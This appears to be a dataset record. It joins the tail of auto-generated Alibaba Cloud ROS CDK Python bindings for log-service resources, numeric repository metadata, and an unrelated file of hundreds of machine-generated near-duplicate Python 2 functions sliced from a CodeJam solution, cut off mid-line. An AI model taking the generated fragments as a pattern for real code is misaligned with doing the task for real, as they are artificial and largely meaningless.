typing.Any] = { "name": name, } if description is not None: self._values["description"] = description if tags is not None: self._values["tags"] = tags @builtins.property def name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: name: Project name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' result = self._values.get("name") assert result is not None, "Required property 'name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def description( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: description: Project description: <>'"\\ is not supported, up to 64 characters. ''' result = self._values.get("description") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def tags(self) -> typing.Optional[typing.List[RosProject.TagsProperty]]: ''' :Property: tags: Tags to attach to project. Max support 20 tags to add during create project. Each tag with two properties Key and Value, and Key is required. ''' result = self._values.get("tags") return typing.cast(typing.Optional[typing.List[RosProject.TagsProperty]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "RosProjectProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class RosSavedsearch( ros_cdk_core.RosResource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-sls.RosSavedsearch", ): '''A ROS template type: ``ALIYUN::SLS::Savedsearch``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "RosSavedsearchProps", enable_resource_property_constraint: builtins.bool, ) -> None: '''Create a new ``ALIYUN::SLS::Savedsearch``. :param scope: - scope in which this resource is defined. :param id: - scoped id of the resource. :param props: - resource properties. :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @jsii.member(jsii_name="renderProperties") def _render_properties( self, props: typing.Mapping[builtins.str, typing.Any], ) -> typing.Mapping[builtins.str, typing.Any]: ''' :param props: - ''' return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.invoke(self, "renderProperties", [props])) @jsii.python.classproperty # type: ignore[misc] @jsii.member(jsii_name="ROS_RESOURCE_TYPE_NAME") def ROS_RESOURCE_TYPE_NAME(cls) -> builtins.str: '''The resource type name for this resource class.''' return typing.cast(builtins.str, jsii.sget(cls, "ROS_RESOURCE_TYPE_NAME")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrSavedsearchName") def attr_savedsearch_name(self) -> ros_cdk_core.IResolvable: ''' :Attribute: SavedsearchName: Savedsearch name. ''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrSavedsearchName")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="rosProperties") def _ros_properties(self) -> typing.Mapping[builtins.str, typing.Any]: return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.get(self, "rosProperties")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="detail") def detail( self, ) -> typing.Union[ros_cdk_core.IResolvable, "RosSavedsearch.DetailProperty"]: ''' :Property: detail: ''' return typing.cast(typing.Union[ros_cdk_core.IResolvable, "RosSavedsearch.DetailProperty"], jsii.get(self, "detail")) @detail.setter def detail( self, value: typing.Union[ros_cdk_core.IResolvable, "RosSavedsearch.DetailProperty"], ) -> None: jsii.set(self, "detail", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="enableResourcePropertyConstraint") def enable_resource_property_constraint(self) -> builtins.bool: return typing.cast(builtins.bool, jsii.get(self, "enableResourcePropertyConstraint")) @enable_resource_property_constraint.setter def enable_resource_property_constraint(self, value: builtins.bool) -> None: jsii.set(self, "enableResourcePropertyConstraint", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="project") def project(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: project: Project name ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "project")) @project.setter def project( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "project", value) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosSavedsearch.DetailProperty", jsii_struct_bases=[], name_mapping={ "logstore": "logstore", "savedsearch_name": "savedsearchName", "search_query": "searchQuery", "topic": "topic", "display_name": "displayName", }, ) class DetailProperty: def __init__( self, *, logstore: typing.Union[builtins.str, ros_cdk_core.IResolvable], savedsearch_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], search_query: typing.Union[builtins.str, ros_cdk_core.IResolvable], topic: typing.Union[builtins.str, ros_cdk_core.IResolvable], display_name: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, ) -> None: ''' :param logstore: :param savedsearch_name: :param search_query: :param topic: :param display_name: ''' self._values: typing.Dict[str, typing.Any] = { "logstore": logstore, "savedsearch_name": savedsearch_name, "search_query": search_query, "topic": topic, } if display_name is not None: self._values["display_name"] = display_name @builtins.property def logstore(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: logstore: Logstore name. ''' result = self._values.get("logstore") assert result is not None, "Required property 'logstore' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def savedsearch_name( self, ) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: savedsearchName: Savedsearch name. ''' result = self._values.get("savedsearch_name") assert result is not None, "Required property 'savedsearch_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def search_query(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: searchQuery: Check sentence. ''' result = self._values.get("search_query") assert result is not None, "Required property 'search_query' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def topic(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: topic: Topic name ''' result = self._values.get("topic") assert result is not None, "Required property 'topic' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def display_name( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: displayName: Display name. ''' result = self._values.get("display_name") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "DetailProperty(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosSavedsearchProps", jsii_struct_bases=[], name_mapping={"detail": "detail", "project": "project"}, ) class RosSavedsearchProps: def __init__( self, *, detail: typing.Union[ros_cdk_core.IResolvable, RosSavedsearch.DetailProperty], project: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: '''Properties for defining a ``ALIYUN::SLS::Savedsearch``. :param detail: :param project: ''' self._values: typing.Dict[str, typing.Any] = { "detail": detail, "project": project, } @builtins.property def detail( self, ) -> typing.Union[ros_cdk_core.IResolvable, RosSavedsearch.DetailProperty]: ''' :Property: detail: ''' result = self._values.get("detail") assert result is not None, "Required property 'detail' is missing" return typing.cast(typing.Union[ros_cdk_core.IResolvable, RosSavedsearch.DetailProperty], result) @builtins.property def project(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: project: Project name ''' result = self._values.get("project") assert result is not None, "Required property 'project' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "RosSavedsearchProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class Savedsearch( ros_cdk_core.Resource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-sls.Savedsearch", ): '''A ROS resource type: ``ALIYUN::SLS::Savedsearch``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "SavedsearchProps", enable_resource_property_constraint: typing.Optional[builtins.bool] = None, ) -> None: '''Create a new ``ALIYUN::SLS::Savedsearch``. Param scope - scope in which this resource is defined Param id - scoped id of the resource Param props - resource properties :param scope: - :param id: - :param props: - :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrSavedsearchName") def attr_savedsearch_name(self) -> ros_cdk_core.IResolvable: '''Attribute SavedsearchName: Savedsearch name.''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrSavedsearchName")) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.SavedsearchProps", jsii_struct_bases=[], name_mapping={"detail": "detail", "project": "project"}, ) class SavedsearchProps: def __init__( self, *, detail: typing.Union[ros_cdk_core.IResolvable, RosSavedsearch.DetailProperty], project: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: '''Properties for defining a ``ALIYUN::SLS::Savedsearch``. :param detail: Property detail:. :param project: Property project: Project name. ''' self._values: typing.Dict[str, typing.Any] = { "detail": detail, "project": project, } @builtins.property def detail( self, ) -> typing.Union[ros_cdk_core.IResolvable, RosSavedsearch.DetailProperty]: '''Property detail:.''' result = self._values.get("detail") assert result is not None, "Required property 'detail' is missing" return typing.cast(typing.Union[ros_cdk_core.IResolvable, RosSavedsearch.DetailProperty], result) @builtins.property def project(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property project: Project name.''' result = self._values.get("project") assert result is not None, "Required property 'project' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "SavedsearchProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) __all__ = [ "Alert", "AlertProps", "ApplyConfigToMachineGroup", "ApplyConfigToMachineGroupProps", "Audit", "AuditProps", "Etl", "EtlProps", "Index", "IndexProps", "Logstore", "LogstoreProps", "LogtailConfig", "LogtailConfigProps", "MachineGroup", "MachineGroupProps", "Project", "ProjectProps", "RosAlert", "RosAlertProps", "RosApplyConfigToMachineGroup", "RosApplyConfigToMachineGroupProps", "RosAudit", "RosAuditProps", "RosEtl", "RosEtlProps", "RosIndex", "RosIndexProps", "RosLogstore", "RosLogstoreProps", "RosLogtailConfig", "RosLogtailConfigProps", "RosMachineGroup", "RosMachineGroupProps", "RosProject", "RosProjectProps", "RosSavedsearch", "RosSavedsearchProps", "Savedsearch", "SavedsearchProps", ] publication.publish()
43.942712
1,743
0.639655
37,164
336,733
5.567
0.021903
0.035323
0.05602
0.11348
0.862503
0.847611
0.838462
0.811675
0.78672
0.773795
0
0.003527
0.24969
336,733
7,662
1,744
43.948447
0.815348
0.177197
0
0.665972
0
0
0.120952
0.052806
0
0
0
0
0.016681
1
0.132611
false
0
0.002085
0.026897
0.255838
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
686172fa19842a6a17587bcda0fb531b30e85d3d
114,762
py
Python
projects/src/main/python/CodeJam/Y12R5P1/htguy/generated_py_d76a29b21e3f4005a7656c34d883c3e6.py
DynamicCodeSearch/CodeSeer
ee985ece7691691585952eb88565f0e08bdc9113
[ "MIT" ]
5
2020-04-05T18:04:13.000Z
2021-04-13T20:34:19.000Z
projects/src/main/python/CodeJam/Y12R5P1/htguy/generated_py_d76a29b21e3f4005a7656c34d883c3e6.py
DynamicCodeSearch/CodeSeer
ee985ece7691691585952eb88565f0e08bdc9113
[ "MIT" ]
1
2020-04-29T21:42:26.000Z
2020-05-01T23:45:45.000Z
projects/src/main/python/CodeJam/Y12R5P1/htguy/generated_py_d76a29b21e3f4005a7656c34d883c3e6.py
DynamicCodeSearch/CodeSeer
ee985ece7691691585952eb88565f0e08bdc9113
[ "MIT" ]
3
2020-01-27T16:02:14.000Z
2021-02-08T13:25:15.000Z
import sys sys.path.append('/home/george2/Raise/ProgramRepair/CodeSeer/projects/src/main/python') from CodeJam.Y12R5P1.htguy.a import * def func_cad09f83db8942d18a0d480f2bb5249a(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) return n def func_5cbf1fd9823646c0b54ee4bfd6afcd47(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) return n def func_d02bde51d1854e11a6003e7f3b26bae9(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) return l def func_2677d15f84c4414abce0a7164b23227e(fin): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) return l def func_0a50b0fa36e74b3ba65a35ed20f8f995(fin): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) return p def func_c3a456e52489423e99551758fce0e867(n, fin, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] return i def func_0648c5e894124b4b868649b0f21a8f9b(n, fin, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] return p def func_8fae1b86953a419694ca16e62ba15f37(n, fin, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] return q def func_8638016c59864c40a569e38c62bc31a3(p, n, l): q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return r def func_cb4f9625c3c04021852940c141455440(p, n, l): q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return q def func_d3cf319acb7c4f948fd18751dfbf4940(p, n, l): q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return i def func_a9d0703ad73448788df7f1e91fe1f610(q, n): r = [(q[i], -i) for i in xrange(n)] r.sort() return i def func_9c99fedd156e4317ade6b217cad774ff(q, n): r = [(q[i], -i) for i in xrange(n)] r.sort() return r def func_ba4752e833194cb7980fdccd284d7f97(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) return l def func_1487d83044ec447385198c1d87e4c697(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) return n def func_7a887c812ad344a6b75b69a6852ed576(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) return l def func_e56ccb16e2bd4eae8ce0811374004314(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) return n def func_8ec354827099467ea453ca0400996f65(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) return p def func_2d75525431e243459e1db935819319c7(n, fin): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] return p def func_c7ae1d634cf946a9a947238d9e1fc5db(n, fin): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] return l def func_cd8b43bafc2a4b8695980e0667d2bc01(n, fin): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] return q def func_41ffa4931fe74d11aed166e50abc722d(n, fin): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] return i def func_09da7de6dd7d4968b7d47cda4a6c0c8f(n, fin, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return r def func_0ca4ce1de23f4fe1b37f9d5689c3b12d(n, fin, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return p def func_c8e149b5cb1e43f0ac0033f46a024746(n, fin, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return q def func_5a7b8d7ffcf444b0bb22ad2ee352498f(n, fin, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return i def func_7a639edb4de24e4aaac9665c0ca3ce79(p, n, l): q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return i def func_7c3500cb70ae47319dbe58bbecc2400c(p, n, l): q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return r def func_25b4c1a47dc644b0a14ef62c9206630e(p, n, l): q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return q def func_a98a9162119e4f839ae0c6b171c7331e(q, n): r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return i def func_dadcc04297034f2a88c52b38a5940c45(q, n): r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return r def func_01b0c90a458441a78a0d2eff1cf03d8e(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) return l def func_e86cbf9850b44e1f9fd839b8826d98b5(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) return p def func_75707c75f16f4ea2857d1d3853207970(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) return n def func_d68ee01339634ce88c188678f8ee45aa(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] return q def func_0170cd0ba7e24383b18bc66224f45870(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] return i def func_fa578abf8c6840f2945f5178e31a6122(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] return p def func_72c9ba48129c45a4b709b0007745dee2(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] return l def func_6422ca74afc14ae2b1b28f60cbde60d7(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] return n def func_71efe8414b5a4eb2be8e0ba431b38615(n, fin): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return l def func_46a2dd70e64c4e21a93a76944b8571d1(n, fin): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return i def func_b95e38b824a74d8fa20fe26fd8b2b0b7(n, fin): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return q def func_577c08f83f1444d99ff9a5d6190ea061(n, fin): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return r def func_218a83e9e49a44d98fb313257bbc66b9(n, fin): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return p def func_bd02b7b1659047c79b8bbb6e0fa401d7(n, fin, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return i def func_e65569686789456f96fc1cdceb613527(n, fin, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return r def func_4c5ebc6f3868493295a2ac628c5ff30e(n, fin, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return p def func_af69b87ed68c449f9c7ecdd278959fa7(n, fin, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return q def func_48f4692d277a48e8896695522d60dacb(p, n, l): q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return q def func_5cc69438e71547cab58984a7c457cdd8(p, n, l): q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return r def func_ccfad4079d564bb09ce98524df264968(p, n, l): q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return i def func_1d6627b7a229441789d2ad9023b3ee89(q, n, fout): r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return i def func_6ed9cd686b154ce0b283a990afc37e79(q, n, fout): r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return r def func_1dc7db28591d41408f9655697d571b28(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] return n def func_eeee559e1a3048e59e77a6fff6b87a4c(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] return l def func_02036261a237454a9e9dcc4805c7a996(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] return q def func_e51f945e0b1c464fb5eeb9074d794fda(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] return p def func_d761e29fdd884867a8ee2b8f277b8685(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] return i def func_2203c47dcf2a4db484436a5fd40b3bd5(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return l def func_fd6dea82d7354abbb41e41401f0a1330(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return i def func_a22cc2b0c50d4d53850f592a7d2ced43(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return p def func_5e37c58210664b078d02f78218f0b23d(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return q def func_d59c8d45551846c0b2639395c565fab1(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return r def func_76bf86e9c3c0494a8dbf8483d515281c(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return n def func_20c02250c62a48e29ea918244fed9695(n, fin): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return p def func_3eb4b31411a94e30af326883bdc7e7d7(n, fin): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return r def func_acc1d672fcf740e5a59dea86093311b3(n, fin): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return l def func_d8c827b39f744a479ab6b7c47d652810(n, fin): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return i def func_2040f850daf94a26baf74ebe9a246a71(n, fin): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return q def func_70979f8c2e37494eaee34508f4db790a(n, fin, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return p def func_db7f68fda0864049a52d778bf5796820(n, fin, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return q def func_e08bf2145c3c476fa954691f75ef55df(n, fin, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return r def func_a723397bac124f3b90c6f556496d32be(n, fin, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return i def func_4c5ca4026eca4b99845d6f76f0aeaed6(p, n, fout, l): q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return r def func_b2aada836c714c4fa6da8deb53d67a52(p, n, fout, l): q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return q def func_7ab9ba14f1d74e1cb574b58a20bc3980(p, n, fout, l): q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return i def func_e46e548ab31643e589263260b56157f6(q, n, fout): r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return r def func_2892b3cc0b5c4894810953a47f397a7c(q, n, fout): r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return i def func_846229fe7cc542279309e5594d470326(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return p def func_9ae63e9f160f4e4b9d77b8f9e733d38b(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return n def func_026828feda944b29be3c4e5cc99cfe0e(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return i def func_bc8d545486ea42c5963a728db1ae082d(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return r def func_02ca7e3d918643f7a1a7a7587169919a(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return l def func_7f3d978ac5df42c9b9965431b2a3ecec(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] return q def func_2ae92886d2d04938aae77691028c21f2(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return p def func_778cf1e35c8c4510b1a2c1e06cce41dd(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return i def func_0c71560d031945359f64f05b2fd6eb02(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return q def func_dbabfe7b5e8a4dc9b626c74e94e3f23f(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return r def func_59b82b1d86a84e7b82b0edf604eaf5b8(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = 